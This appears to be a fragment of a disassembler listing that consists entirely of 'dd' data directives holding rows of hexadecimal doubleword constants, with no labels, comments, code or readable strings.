dd 8E308F5Ch, 57AE8ECh, 8EA00747h, 41F48450h, 0D5E75230h dd 8412880Eh, 4558297h, 56ACE113h, 80AC236Ah, 0B60C52C4h dd 0E6A14Bh, 22998FB9h, 7BBC51Bh, 4F72F513h, 0FC8018DBh dd 8DAEE778h, 82DC6705h, 0ECB0EB51h, 5C8C96ECh, 874C3B46h dd 0C3365F00h, 84DCDE81h, 80C68C2Dh, 6E865704h, 0D9060048h dd 0D2765F05h, 1094EB33h, 130465Ch, 17D0F3F0h, 40404665h dd 12A716Ch, 567B9074h, 0D9CC09BFh, 8C973098h, 18D38802h dd 0AE7F68BCh, 0BAD1A3B0h, 0CC02D809h, 1201021Dh, 4B4C8F4Dh dd 0C80234FEh, 0F88BC4A0h, 7C90BF78h, 0C89486EEh, 8E64982h dd 5C165526h, 16507CBBh, 0E5B9007Ch, 0CECD43EDh, 5700F297h dd 2FF8983Dh, 0D74789EEh, 5D882031h, 1A01ACB8h, 4C6AF45Eh dd 3A2F4806h, 388C7778h, 0B08017E8h, 0A0B94273h, 449020B2h dd 48860C44h, 0CB4EEC50h, 41F8C4E8h, 246B6C30h, 72C77124h dd 0ABD77B00h, 0AA010EC8h, 0D0B087A0h, 10F81349h, 2D811810h dd 0CC9C4316h, 0C50EC943h, 0A020395Fh, 17FCB5Eh, 6CBD29F6h dd 0E81645B7h, 0B00C3B8h, 0BE17FABCh, 9EA1EECCh, 664674FCh dd 4177A705h, 0CA988C12h, 5A04FA40h, 80209BBBh, 2BED1D27h dd 81649690h, 69E47A86h, 0E97ECC3Fh, 0B4D0D100h, 0AD252710h dd 0F68304ABh, 0AC453C7Ah, 694C00D0h, 9C917075h, 0E098A067h dd 87992CC8h, 0A0F3189Dh, 58999FA4h, 6360BCD3h, 490BDCBDh dd 0F8671D51h, 8BF94B54h, 0C072C838h, 0EC53B8AEh, 0F8CFB40Eh dd 519AAB90h, 0D391907Ch, 3AB298E2h, 7F19B930h, 0CA620BFDh dd 40D8F50Eh, 0A4360B6h, 4D7AE88Fh, 0D1ACB941h, 1C3A186Dh dd 0A8F3A1h, 9B5D64B7h, 6D283D04h, 1604C442h, 0C9758079h dd 0B5F87CA1h, 48C946Eh, 0CE356B57h, 3E39CD4h, 0A5D54D38h dd 0F4430980h, 1330512Dh, 874AA020h, 9F960191h, 46D585Dh dd 4D86F82Dh, 3B434CBAh, 0C41F8F1h, 14BE2D2h, 0EFF2FC14h dd 79C328C7h, 0CC2ED38Ch, 8303E223h, 0B0206A34h, 8831D1h dd 0C7B886FAh, 68B6F740h, 14C021BDh, 0F0C8432Bh, 2CBE00D8h dd 0FB8F4144h, 2307B9D9h, 3CC52DE1h, 0BBAA400h, 396F60C1h dd 76A2EE59h, 810919Fh, 0C0FEE2E7h, 41C51Fh, 9B8F3A31h dd 0DD510B02h, 0B5936D05h, 88A91878h, 170C3784h, 78E200A0h dd 0A86F951Dh, 5140FD40h, 98A40BC4h, 4C98DC36h, 990E25D8h dd 28F514h, 7E8D73B3h dd 9011756h, 4C40093Fh, 2E11201Dh, 5461208Bh, 0CA20F285h dd 0B63472BCh, 0F375DC80h, 0E945CC02h, 7024F67Eh, 2D3C09A0h dd 846546B3h, 0AF60E2E4h, 5D1E63F8h, 59078E53h, 0F0B39D0Fh dd 68F82533h, 4AB2CCA0h, 5E002302h, 3E41DD1Ch, 9D9B0357h dd 0BD35549Ch, 98333991h, 0C656E85Ch, 98B0934h, 0E281FCC8h dd 7A917F1Fh, 408BC034h, 32C33088h, 14828CBEh, 61FCD459h dd 2ECCCAF1h, 2DC86C9Ah, 0E96949C1h, 0A0B83439h, 68872317h dd 3B798B4h, 3B4B101Dh, 0DBB8A349h, 0FA0A1430h, 6C8BEEDDh dd 3C944425h, 0C48B2283h, 9500410Ah, 64447B46h, 1650213h dd 1654A0B0h, 0C428EEC8h, 0B8F8ADF8h, 3C7302C4h, 0B1748CE1h dd 87EC00F8h, 260CDB00h, 0C9447AF5h, 97F18029h, 0ED206301h dd 1368F6C8h, 98F87882h, 0B4807494h, 2CE90629h, 0E68018C4h dd 2B854ECh, 63BB008Ch, 1F80BDF8h, 0A8B69E8Dh, 0F55CA202h dd 0FC651242h, 6E4168CFh, 0A5F8EB80h, 53049E1Eh, 3CD54502h dd 183C188Dh, 78CDBBCh, 0C5B24135h, 0D081538Fh, 0F75526D0h dd 6280E20Fh, 98CA2256h, 0B485C44h, 0D859BACBh, 613F8B00h dd 0E4F457h, 29AE5C05h, 0C70F3336h, 0BC949750h, 80D3C628h dd 0BE0418B5h, 0E60F09DFh, 3482F6FAh, 88033005h, 0C0FCDCBCh dd 0C8B8CB5Eh, 0A1BBC066h, 9700F267h, 0E1BC08A9h, 89B714h dd 0BE4A50CCh, 9B15E9E0h, 78251B07h, 7D129E4Bh, 7B6C62F6h dd 72717030h, 843CA117h, 0E260BCD6h, 916C042Bh, 9E927CB0h dd 1DD29CE0h, 4A259804h, 21496406h, 0A883DD1Dh, 61A939C2h dd 10815743h, 30295786h, 0A8BC5128h, 5DE8C2Ch, 0DDADEEFFh dd 238C3EA6h, 0CF9D02E6h, 0A4D4541Ah, 50CB9288h, 9630C50Ch dd 5CFE18D1h, 0E39D3EA6h, 82BCDB4Eh, 7C683B0Ah, 0D4C1678h dd 6E218DE8h, 0BEACC013h, 13468012h, 298F26Ch, 9F6E8D15h dd 55D1E2BCh, 0BA54AC9Ch, 0F67041E4h, 70380360h, 0BD9EE0A1h dd 91100034h, 6E4B7A01h, 0F1DD0090h, 0F2F98543h, 2F3D044Ah dd 12F05A95h, 0E30084B2h, 44A53689h, 65002730h, 84599B67h dd 258C145h, 0CB20DEC6h, 786AACEEh, 465E4076h, 627C00DBh dd 1A4CBA37h, 30FD5C3Dh, 0C9C05D16h, 58A060A8h, 0B158473h dd 53A060BDh, 3072A2E4h, 0A03108Bh, 7A57D087h, 817B8299h dd 738042C0h, 6418453Eh, 7F984108h, 6C0E38F6h, 60B34B54h dd 0D330E4E2h, 488FF046h, 402220CFh, 20C84D4Bh, 0F8912F70h dd 3C1160C2h, 0C00915F7h, 49680250h, 763C5C3Eh, 6700F546h dd 7D22F35h, 0FA02C7BAh, 3FE75DB6h, 8570D9E3h, 0E8934959h dd 863C80C4h, 0B4398Ah, 4356E695h, 0FDDFED82h, 9487A204h dd 2084E552h, 4B8022ABh, 20B7E0A9h, 0D58380BFh, 0E32655BCh dd 0FAD4047Ch, 0FD79AC98h, 0FC8BD6FCh, 71C0E6C8h, 0A6CD7019h dd 0D571C0h, 0BB507D58h, 28948310h, 0B1626A00h, 0C32F0F5Fh dd 2F59E66Fh, 94E88970h, 2707E9E1h, 7257F3BCh, 8F8A4620h dd 4B7E880Ah, 7DB8F001h, 9BFAE830h, 2DDAB4F0h, 2CE4E3EBh dd 4618D400h, 0ECAD169Eh, 3BD80083h, 0BA1EC904h, 677B31FBh dd 0DCE62813h, 64770440h, 2D905A69h, 0F4BD3E14h, 68C55C02h dd 86F0A084h, 75B5AD3Bh, 8B800E72h, 9244D809h, 2820BE79h dd 16F0E0D3h, 702DD9Dh, 809096BDh, 0A28C84CDh, 7CC0F84Eh dd 9169DC95h, 0A02C001Ch, 0D5EDB9D3h, 7C03F378h, 0B2950F7Bh dd 933104E9h, 407E69DDh, 0C58E735Eh, 5C0A0733h, 70D77D1Bh dd 690AD9Fh, 0D16889C7h, 0A0DE44D7h, 1628F236h, 2FA89E2Fh dd 6B004C44h, 52AA01E9h, 1BEFD7h, 72C47F12h, 0D09F1ED5h dd 1FB74179h, 8001111Ch, 80356490h, 0CA5A3C3Eh, 3F28B14Ah dd 31265420h, 0AB90B35h, 3C62AD62h, 3A7934D1h, 8D3CDF18h dd 10AEA543h, 26CA8684h, 0B316D7h, 0AFA02998h, 49ED632h dd 0B9092E10h, 0CC9DB12Ah, 8789E311h, 90339E87h, 0FF17EEDh dd 0C875F91Eh, 5F8D6A80h, 4BDEBB49h, 86303007h, 0D14A4294h dd 1F1F4E6h, 0FB70C42h, 3D020D40h, 0A4838CCh, 4C42C85Eh dd 5019447Ch, 3A9B4FCCh, 7D1A2DA4h, 0D0051B10h, 39876105h dd 0F4BF260Dh, 0D9EA7B1Fh, 931DE57Ch, 1380374Ah, 0BD3F19D4h dd 8C0F00E0h, 5FF88B66h, 81EC70E6h, 98DED605h, 0B4AF71E4h dd 0F300244Fh, 2BDAA768h, 1C2A8604h, 8088F5B8h, 0F613CD8h dd 2605683h, 1185292Ch, 5E73E2Dh, 0ABD8B617h, 4FC0C99Ah dd 618AEC0Dh, 0C50CB970h, 2306BAF9h, 0FBC35A8Bh, 1623862Eh dd 763CB503h, 19D5A123h, 0E8C1A485h, 7CA6AF04h, 998177B2h dd 0D4ED5CEEh, 6006E2F7h, 2861BD89h, 3CB9FE5Ch, 2B16CDFCh dd 0BF90BED8h, 5C8487h, 5BBD10CBh, 0A984524h, 58F18B16h dd 888B8BBFh, 3F52C016h, 0B51B317Ch, 57C07C1h, 8A880F72h dd 98CC5901h, 7B9011Ch, 85893F83h, 161C11C5h, 552FC183h dd 0F680DA35h, 0A48CC1Fh, 50C5FAA6h, 1C78DB2h, 0D93BCF3Dh dd 0BE45860Fh, 4DBE9C8Bh, 0DE8C3EBAh, 7FB6BEAh, 5361641Fh dd 89BFF460h, 0DD1D60B5h, 0F04C1F6h, 33E98436h, 24DE008Ah dd 2995FFAEh, 0FCBDE713h, 0B524DC96h, 0E50199B8h, 0FE6AAF83h dd 0BD17A220h, 68C0C05Eh, 0F8AF61h, 402ABE9Bh, 0EE3478F4h dd 0AA43221Ch, 604EA7DEh, 95B840F5h, 303E6F5Eh, 9C3F0AE9h dd 90007BDDh, 0BD48D5FCh, 0E2611CC3h, 2A8B775Bh, 0F9F10E6Dh dd 73C0D75Bh, 14B8E316h, 0EE097B01h, 8343D9Dh, 70D522A0h dd 921D824Ch, 64801D11h, 0A91906E3h, 0DDA42202h, 0F7E9B3F3h dd 7EBD23F0h, 7A00D63Ch, 45114F13h, 5B8B58A3h, 5A6BFFC0h dd 0F1B037Ah, 0FE8BF9B7h, 0D8879E97h, 0A1957160h, 8E5B342Bh dd 0B437026Fh, 0BF0279BCh, 5D85C7FAh, 89A14818h, 0BF7E5EA8h dd 502D46Bh, 6B584D48h, 2128E88Eh, 0C690C31h, 5BF7C012h dd 0D8365839h, 45BA7D00h, 0D7BF66DEh, 0BD810C5Bh, 0D05A2715h dd 0F1AFE92h, 0D73B5685h, 0E85883FBh, 0D1B4C4C2h, 0A931025h dd 3685FFF1h, 5D35FD2Dh, 7BF96380h, 9598FBCh, 82346C09h dd 31D7E200h, 0B56BFFC2h, 0ECEDD761h, 61E7C6C0h, 7B1E04ECh dd 0D0DDB50Bh, 7DBD091Dh, 8BAF54BDh, 47DD21C1h, 60194495h dd 1BC75B7h, 33ADBB61h, 940BF5BDh, 0E88B904Eh, 2D008C1Ch dd 8C87FEA9h, 4C1A8E29h, 0FB1C4476h, 2B0CDA0Fh, 1949C702h dd 89B52901h, 0F1314465h, 1D88F20Eh, 0F89367C0h, 0DBD002BFh dd 0CCA76ABEh, 0F239ED68h, 41B52B09h, 69B1116h, 31102B63h dd 0C746582Fh, 6BB0EE15h, 964EF2h, 9A03FE6h, 57994A95h dd 0A680522Ch, 0C6111702h, 85CA4014h, 830144BDh, 0F78114E1h dd 61002BE9h, 0BD180B5Fh, 0B7293319h, 0F4537FFBh, 14A4F159h dd 8D943B0Ah, 4D8AF312h, 0A15294C6h, 0DE515E2Eh, 1A661900h dd 9C3546DEh, 0F2C8A06Dh, 7D8D1709h, 57005E23h, 5A9AEBF0h dd 0A058FCC0h, 6314D328h, 7CEE2E71h, 1CE91740h, 69FFF73Ch dd 1818715Dh, 3B850246h, 0C18B4D10h, 58F0FBD7h, 6F008938h dd 6934E978h, 0B5CE781h, 0EB7E7C0Ah, 0F561C27Dh, 64720973h dd 9CA083AEh, 1888C08Eh, 1DCCA2C0h, 89CA0961h, 62B7D9Dh dd 0CE2E7180h, 955D858Dh, 6BAA5B06h, 679509D5h, 0F87B8399h dd 47BE8850h, 28253118h, 6624043Ah, 0AB5AF252h, 5B79Ch dd 8B30FF70h, 2B51ADB5h, 394B436Fh, 0C9BE179Ch, 83830501h dd 0EBE5EB28h, 0C02F58F3h, 12B777h, 563C150Ah, 7024992Dh dd 6014E8BEh, 2FEF00BDh dd 61C78AE1h, 0F38B2890h, 0AF525B9Ch, 9923D241h, 0B9C8F55Eh dd 310F2CD7h, 87053B62h, 0BB90585Ah, 0E0B01AA6h, 2206137Fh dd 0C66B85F6h, 85F6AD9h, 1546747Fh, 0B292B414h, 28128913h dd 9DF8317Fh, 84241F58h, 81001A4Dh, 0F5EBC8F6h, 0BE66080Ah dd 9D01B9F8h, 5EAA4AAh, 0D68B9241h, 2CE96Eh, 0E4465F08h dd 96C5C8h, 5CCF0A63h, 0FF61A7A4h, 100AD34Ch, 52621D25h dd 0C0C0B82Bh, 0F98114FDh, 0E9E48831h, 0B7EFBAB9h, 77C5707Eh dd 0F853FE42h, 8414E75Eh, 10016586h, 4FA502C6h, 0CAD19D8Bh dd 6B518Fh, 0E216407Ch, 35012B51h, 0D67E746Fh, 1C1E381h dd 0BC3CB97Ah, 5EFA1364h, 0DFC0460h, 0E904120Ch, 610A0355h dd 162D08C5h, 80B9E81Bh, 0C603A8Ch, 71ACFBD3h, 1A40013Eh dd 0DB0B245Eh, 2DA01A84h, 0C1E0CA6Dh, 40FB874h, 0D0AE2B54h dd 8136C150h, 0BD830001h, 0EB0C2FA6h, 3734B2D5h, 2BF18184h dd 8B6EE915h, 18820F17h, 40019DB9h, 8551C712h, 399DEA3Ch dd 19831C91h, 5198DE37h, 73026670h, 0E95F565Ch, 5AD592Dh dd 26590FDFh, 60931D3Ah, 24D648D0h, 60318D50h, 0FF2381F5h dd 4EE7FE72h, 0C21588D5h, 5BE01E8Ah, 790531AFh, 0DB8C6636h dd 0B75DE6BBh, 51260239h, 99F60723h, 143C38C1h, 445833B3h dd 2F17C510h, 9F9A7550h, 13620042h, 598BF3F7h, 0FA0FFD51h dd 0E9F9F190h, 5FBD9559h, 0BDD930BAh, 0B08112B5h, 0B815B97Bh dd 0BD360060h, 54664B11h, 0F139830h, 611770E6h, 71E4A045h dd 54D5E1C0h, 175D4F36h, 959ABEFFh, 0EA1480C5h, 0DDF5E4h dd 0FACA86A4h, 90CF8E44h, 0DF98E002h, 50ED8D29h, 465F4878h dd 0B7B52E05h, 4416A239h, 10007F23h, 5CAD341h, 15126246h dd 117C6595h, 0D61DCB00h, 9F3F2B13h, 0DF3CEC05h, 0F2809E38h dd 9C5F5EF2h, 16442419h, 381F8909h, 0D86E4AFEh, 0E53F1100h dd 2B03BB0Fh, 0BD23D804h, 19952299h, 1C898081h, 19B22673h dd 22CCE931h, 95BD1C52h, 1BC58289h, 0A35905E7h, 0AC3FBE81h dd 7B2D25AAh, 8C17ACh, 0BA70D534h, 9F5B529h, 0CFD35EBFh dd 2539883Dh, 0D6B74728h, 309A8305h, 7FD9CFAEh, 4718DCA3h dd 0D540D107h, 5D93FF4h, 1700E837h, 0E37482DCh, 144900D6h dd 347A839Ah, 80144D60h, 2AD26458h, 5F48A3EDh, 544E5A4Dh dd 4F3E3303h, 3D001823h, 0A296E20Dh, 807DB160h, 0F2F4C2B7h dd 5505C5D1h, 78EC9BD6h, 0F6716E40h, 0D84ACAh, 9ABD49E1h dd 6CC2FFB2h, 33EEA71Ah, 0D196889Ah, 2A1CF908h, 0C7DEBD61h dd 48F600DEh, 0B6D77F84h, 8B7A0E39h, 0BFE0EAADh, 4629F15h dd 0DFFAA3BEh, 317B901Eh, 35BAEDBDh, 80497CB7h, 1FBB8B4Ch dd 0B2006A7Bh, 0B8EF922Fh, 49967240h, 0FA5E9532h, 8B00E456h dd 12396217h, 0AD2805DAh, 0CD5D02DDh, 0C8830082h, 0A01C3D31h dd 3C027A67h, 421B2913h, 808E3797h, 829AADFFh, 402C0BD2h dd 0CE0264CFh, 58584B01h, 919FB43Ah, 6BEE5EECh, 860471A6h dd 0EB36E62Fh, 0B0411A3h, 172BFDBDh, 0DD9D90EAh, 74074D0Ch dd 8875EB84h, 2A361721h, 3EF8A0D4h, 0E316AA02h, 6FDFC4FFh dd 0C7BA004Bh, 5E653F91h, 2EFBB6F9h, 0DC00DCACh, 97738FF6h dd 9C395D25h, 0F8222D81h, 0F9D1014Eh, 21815D9h, 8B601104h dd 54D5758Dh, 0E4157283h, 1FC2610Bh, 228D6F60h, 0E6C6FDB6h dd 0DC12BC4Bh, 83051EF4h, 4379BF66h, 14B3E794h, 0AA301AE2h dd 20BF2B5h, 29FABB88h, 6350ADBDh, 0E8605B48h, 0B44B8C14h dd 0DBE0A800h, 2ABD096Bh, 2F8C152Dh, 6E37C32Bh, 40B5E20Eh dd 5088BA2Eh, 62625EBBh, 7BF53B0Bh, 45F2D041h, 3AA2460Ah dd 9D0B9926h, 0E94BA3F5h, 0E82B2439h, 0DAD34091h, 6127978Fh dd 69D28E3Ch, 805337C0h, 0C671EB10h, 9A7984C5h, 13E78102h dd 0F24133FDh, 75F4BD01h, 0AF291F80h, 1426F0h, 0FD63FF19h dd 1B2B0FD5h, 0F1202BB0h, 0C75E0B32h, 0B7E0CD85h, 0D405EB7Fh dd 0E8F38B36h, 9321D720h, 0C5500032h, 0D77B8AAEh, 0AB007962h dd 57060963h, 5F0ABD39h, 8340EE19h, 288E479Fh, 0F25F6A01h dd 40D0870h, 6BE31E2Dh, 0ED7D3D3Dh, 9CE06E44h, 0E8597CB5h dd 88056C0Bh, 0F0788765h, 663BB737h, 2F5098E8h, 57221B51h dd 27E52E7Dh, 24F72E3Eh, 1D46DCh, 0DBA1B51Bh, 0D07939h dd 0BF346F75h, 71DE292Dh, 80A4DEBDh, 8DDC7CE2h, 0C017625Ch dd 9ABA904Eh, 455CC734h, 60EBD100h, 7A072E9Ah, 0AF90861h dd 53F2B789h, 787E7055h, 33850E04h, 34E6724Ch, 72EFECE0h dd 96A35B00h, 0FCAA421h, 522A28Ch, 2D6BFED7h, 3BD17000h dd 27FFBD8Ch, 8FE51A24h, 937B0602h, 0CD82607Eh, 8D890BF1h dd 6A692461h, 14880EF7h, 0B590F6C5h, 4A0F8ECFh, 597958Dh dd 0FE20452Ch, 820011E3h, 0F3D338DAh, 5CBF5369h, 6401D684h dd 2F16C7A9h, 9C42C1B6h, 9F9A718Dh, 0BEAFAFCDh, 69830B0Ch dd 0B725AFB6h, 0C431310h, 60D15514h, 2BA968C4h, 63C3B909h dd 0E3C4B694h, 8C8E9067h, 0E4C53DE6h, 53995F09h, 5BD20102h dd 1C071FDh, 0B4A270EDh, 0B45EC7Bh, 8E3C2D00h, 3E9A7157h dd 8D210844h, 660306ADh, 3E48DFB8h, 81C4D114h, 4B22C60Ah dd 8080158Bh, 0E1837FD8h, 60EC9401h, 8F1BD03h, 23578B81h dd 78499562h, 301B89D4h, 18F2D063h, 12D00F30h, 884D4E0Bh dd 0CF18DCC1h, 6C384A9Eh, 92B80581h, 0E6606172h, 1484E141h dd 0D84DA7D1h, 1351141h, 79940404h, 0BCBB0029h, 0C9431122h dd 8FABA516h, 60FFCDDFh, 0D1CBABC1h, 0BF36C8A0h, 74E48014h dd 7E3741A8h, 0BDACF2BDh, 0CB682702h, 7A8F0FFCh, 36B42941h dd 0FC2590CAh, 0A7008C1Dh, 0DBB13F7Dh, 14604CA9h, 888B9635h dd 0D0DF80C2h, 0E2D737ABh, 70E1FB9Eh, 5B007B5Eh, 9A0EF4Ah dd 8220A18Dh, 0DC80F801h, 4CB427D6h, 8C17B808h, 8E6A9F0Bh dd 0DECD1815h, 0FDAF144Ch, 9510F409h, 20EE5E07h, 4D9D8B29h dd 84110348h, 99C81A55h, 4BE7FFC1h, 803E9E36h, 82FB5941h dd 0BA140129h, 8589AA96h, 0EC613565h, 2740698Dh, 0BFB5A6F5h dd 3727F4D6h, 0AC70020h, 7CC94F3Bh, 0DF2A3398h, 29126D8Bh dd 8A526D85h, 9DFD0A2Dh, 0CD47503Ah, 9DF05E56h, 8702D3ACh dd 195310Bh, 90A46E15h, 170965B6h, 623E00E9h, 0A01D4593h dd 2BC68751h, 22D8DC50h, 0C2FC4A01h, 0D9921631h, 0A681E7C4h dd 6DAC7819h, 0F97B3EF0h, 1C99BC94h, 4ADBBF06h, 669465AAh dd 0A69B2722h, 0ED686679h, 0F311EB5Fh, 66824B5Fh, 0F5CBBA04h dd 0F6BF6058h, 907ED6D7h, 2038582Fh, 3DBD2979h, 44EEAD2Fh dd 9C0601Dh, 8CAF00F5h, 29A2D51h, 854AC704h, 14DB7374h dd 866272C0h, 89A12068h, 619552CDh, 0EE70E35Bh, 4F5B009Eh dd 8070D769h, 6B98B6C7h, 7EBAC04h, 38ED9D61h, 0F9B79570h dd 30E6D100h, 2F76B79Ah, 20551532h, 99E9576Ch, 0B0593A34h dd 53AC1D03h, 0B780B9F6h, 584F5163h, 9C3E056Eh, 83A94805h dd 49F2C1D3h, 0EFB00721h, 0F1F00110h, 78EB5E30h, 0E09034Bh dd 1AC53C2Fh, 0A4ACDAC0h, 0D2D41C0Eh, 0E42E5Ch, 0F53134CEh dd 1E27EA1Bh, 40D129B3h, 2AC7DD5Bh, 0F9F917E6h, 0DB67E8DFh dd 1A7A670h, 0E64128C0h, 7DD40227h, 0E1E9C372h, 1A8193AAh dd 0F3F5C171h, 50589120h, 2841755Ch, 0D61F82F0h, 1490FF19h dd 0CBE61Ah, 0DEDFF242h, 0D2B47B31h, 2B305D1Fh, 85402182h dd 15116075h, 0B85A8024h, 0F29F63E1h, 0B4513017h, 0C222201Fh dd 55899C66h, 0F904D927h dd 717181Bh, 4C5F0ED2h, 334F20FEh, 1D5E5995h, 218D2BEEh dd 5D09113h, 0B2679D8Dh, 882EA6EAh, 171AA111h, 0B89AFAB4h dd 10C01BC8h, 0E8ED057Bh, 116D028Fh, 0BD59589h, 0C3819390h dd 86804500h, 0D2858D08h, 1CEB621Bh, 53D865BDh, 0AB609024h dd 0D066FF60h, 5FC701D8h, 0ACAF150Fh, 802A28C5h, 699ECC35h dd 0DF8B0010h, 2BFAFBB1h, 0FEBD605Ah, 0E6E480A4h, 9C02C26Dh dd 1BE2B000h, 310F5250h, 6158385Ah, 47BB03F8h, 907996CDh dd 91DAB7E9h, 5A4C8FA0h, 3C6C71C0h, 0CE006A5Fh, 0BA665390h dd 975AEA7Eh, 0B90F930Fh, 2C5E852Dh, 151B8381h, 0EAABE023h dd 85634B51h, 0C0AC9B94h, 81AA09Ah, 0FFCF0461h, 0ADD95h dd 33BDF181h, 8B263096h, 0B2BF663Bh, 34420C5Ch, 6ACCCBAh dd 5840DECFh, 322FD27Eh, 8FD3740Ch, 0B5083D76h, 19159204h dd 8010CE40h, 2A90B1C9h, 0DF01E924h, 0F54B7B64h, 0A168E6DFh dd 2B933995h, 0D23BA4E8h, 0D49AA702h, 72870F50h, 0BB570127h dd 3AEE2C58h, 0A063475Fh, 0CCF954Bh, 4144C2F3h, 3F58F881h dd 0F031C820h, 0FC8100C8h, 8FA8654h, 0B52FFF41h, 95A0F505h dd 1B350D2h, 0A1EF5B50h, 0DCEA7D3Eh, 6769385Ah, 59998A27h dd 47EB009Dh, 80D0FF61h, 2A5E555h, 0B9718B7Ch, 0E1218820h dd 23BA9519h, 2B1BD91Ch, 0DE07A68Ch, 29D4A302h, 9808A586h dd 0C0B5E2A7h, 1F6EB9BAh, 50526390h, 0E4205B9Fh, 0B28126h dd 57A862F4h, 58A47F9Bh, 50ABB850h, 812EB902h, 935B7BCDh dd 84C873B2h, 967ABF0Bh, 119D1D58h, 0F0EE8018h, 1228F6EFh dd 0A17D9D8Bh, 60D1193Ch, 0CDACD797h, 0CEE18102h, 89101FDAh dd 2038D8C2h, 615121C5h, 43BB09C7h, 278D1534h, 3225F4C7h dd 0DF7C2D8Fh, 8FC811DCh, 68CEA056h, 9617BCFh, 818EB2BDh dd 0ACA1FD58h, 0D3E44016h, 5AA4F7F8h, 0D6BA76BFh, 0BB1FFB00h dd 20EC0373h, 26A9486Ah, 131A2D10h, 3820830Fh, 15B3D781h dd 8D6BB494h, 42A9B987h, 8C8B20E7h, 86144FB7h, 159442A0h dd 8B89CF8Bh, 2E796Ch, 1293010Bh, 8C00A09Ch, 468E9DF0h dd 15E50E5h, 48677D68h, 50FC8A77h, 0BD09069Ah, 0A06E634Fh dd 0F300BC4Ch, 423FB884h, 0F748BEDEh, 41C173Fh, 208AC9EAh dd 9E5FE9B6h, 8BBF21AAh, 848945FEh, 647AAD22h, 5FD4BEE6h dd 8DB829A9h, 0DA073A09h, 0C57848Bh, 8881965Dh, 5954B554h dd 45D6AE0h, 0ABC08h, 4267785Dh, 9F7D776h, 62D0954Bh, 16ED280h dd 39715868h, 5028B3E2h, 0C69EA8B7h, 0BCDA1D59h, 90AE09EBh dd 79011E49h, 33DE8B4Ah, 102662Dh, 5B572658h, 0D0894E2Ah dd 6560C6B1h, 3ECBF17Eh, 0CF130812h, 0FB18731Bh, 51164861h dd 0BD352A41h, 0DC7756CAh, 38096D09h, 0E1CA0098h, 580F7A92h dd 5384B782h, 27D3C229h, 9A21D809h, 0BF077995h, 0DC42DEh dd 0F6F5E6BCh, 89440AB6h, 68918D27h, 0B9CA8574h, 0C2A99265h dd 36516AECh, 801819D1h, 9CC0A003h, 0A7BA810Eh, 686D1850h dd 82CF13A1h, 0DE840AAAh, 416192B3h, 7E305F03h, 39DC6055h dd 6C501840h, 120D856h, 0F8B6EE90h, 80DB0B92h, 3BFD0180h dd 981D6EE8h, 951E5EDh, 151E3E00h, 9C04E968h, 0CF55D228h dd 0F6B6F709h, 97D2055Fh, 2EC221C8h, 3A9E5070h, 0FFA16CB5h dd 0B4B0F1A6h, 5914A7BAh, 4CF21D8Bh, 37A4ECEh, 33632917h dd 6F83429h, 3005FEBh, 0C579B4B8h, 0C3A1B58Dh, 0D4B951C9h dd 59683F98h, 0E52964Ch, 0D750AC04h, 0DC83A9DBh, 0A2A8D922h dd 13071C54h, 0D6805609h, 0BA88F7BFh, 83D302C8h, 9CFB637Dh dd 0DEE79FA8h, 7E79EF00h, 9B418801h, 0C28102B1h, 1E0FA147h dd 0EE8CF82h, 4298D455h, 0AF60CB8Ah, 0B5E4F98Bh, 0F52F7B91h dd 0EC001992h, 5A25E1BFh, 0C285C71Bh, 0A6EE8525h, 3CFC00A8h dd 159F7ECFh, 0B50F00FFh, 7723C0EDh, 20F880A1h, 0B3C9059Fh dd 3C6687B1h, 0ABE037F2h, 0B225DEFFh, 990C9850h, 8CA30059h dd 8F4CBEE5h, 46278D69h, 0C18ACD20h, 7A7401B2h, 2412FE08h dd 5EC6110Ch, 0C58C40BBh, 43BDC82Ch, 89FD2F07h, 67E0D27Ah dd 9805577h, 0EBC4CB90h, 5600D679h, 41BA59F9h, 4622186Fh dd 2C495840h, 385D0BB2h, 88F02D71h, 0DE93A6h, 0FE9E1BF6h dd 39958BAEh, 35FE255Fh, 99C81E6h, 0BF480016h, 0B1341958h dd 435C801Eh, 7B843FD3h, 0DEF3D200h, 6AB5907Dh, 112F56C8h dd 294F5814h, 92ACA83Bh, 33F3B819h, 810CEA70h, 0CEFE7040h dd 7FEB1B22h, 0B645D684h, 0ECCAE052h, 286520B9h, 9644D95Eh dd 56E0E2EAh, 0B379880Fh, 0F92DB607h, 0B920A55Dh, 13624A14h dd 8C5A3A2Eh, 9C995F3Ah, 1B4A1F80h, 3FB79EF2h, 0ECCDC49Ah dd 40615B12h, 90F1FFA6h, 34BEBB3h, 61E9C430h, 0B75595C6h dd 7F99802Bh, 58B3E6D2h, 49880F28h, 59566013h, 0D3CDDF1Fh dd 253E8974h, 817ADB86h, 7A61EDFCh, 24B4A5C4h, 93548D4h dd 46A0475h, 117515Ah, 16A10D9Dh, 6581E460h, 0DA95252Ah dd 0C01688E4h, 1237054h, 2C4091B0h, 9FC0480Bh, 9B296035h dd 0B4A8C048h, 5E23DE69h, 615C9095h, 0C54E9D29h, 8562CF12h dd 3E5C2A01h, 0E92D20A0h, 60C7EF40h, 2882C85Bh, 0DBDC6150h dd 891B0D05h, 0A9B1A595h, 0C01CC6E8h, 0DEB9667Bh, 4924E92Fh dd 2A32A1FDh, 68B3A0D5h, 3E4EBF1Eh, 204B0F37h, 0A684BAFFh dd 24348106h, 1C223F1Eh, 570473B9h, 0F67DA109h, 0CE07CEFh dd 25212533h, 0D1E49B59h, 7846EB00h, 506E1006h, 0B5683AA1h dd 6B7BCE00h, 4EAE01ACh, 60FA3A1Ah, 0CE0AF286h, 0BF069D4h dd 1AFF5961h, 0DC50D458h, 0E8C2BD5Eh, 504542D6h, 0DE29949Ch dd 9E8AE306h, 27B41C5Fh, 29A506C9h, 512FFD01h, 0EC5B2919h dd 8012004Fh, 0CB815CB7h, 0B605B83Bh, 6AB29014h, 0D822BFD1h dd 503755E2h, 3837A301h, 34C80686h, 30495A2Ch, 0D8BF0FE9h dd 0DE8B5013h, 0BB661B47h, 0ACA3A885h, 27759026h, 0B4609D81h dd 194E2026h, 19183E4Bh, 0C4CE8A18h, 0C44AB60Ch, 7F9EF19Eh dd 6BAC2DE9h, 6CA8B324h, 0E5014538h, 0B1051D55h, 8B00CE18h dd 2DBD31C0h, 0C7BF0B21h, 0CDACCE11h, 8A0F288Eh, 0D60F9A75h dd 0FE1CF168h, 8071FF73h, 1B806B6Ch, 0C47631F3h, 8C23413h dd 0F0426E1h, 44B1D482h, 9BC04A51h, 4FF58E4Fh, 0E5F0A114h dd 26F325Ah, 0F8A2D44Ch, 52DC0A43h, 531D806Fh, 0F09857D9h dd 10891C6Bh, 0A0299610h, 563BD300h, 0B731C262h, 4EBE00D7h dd 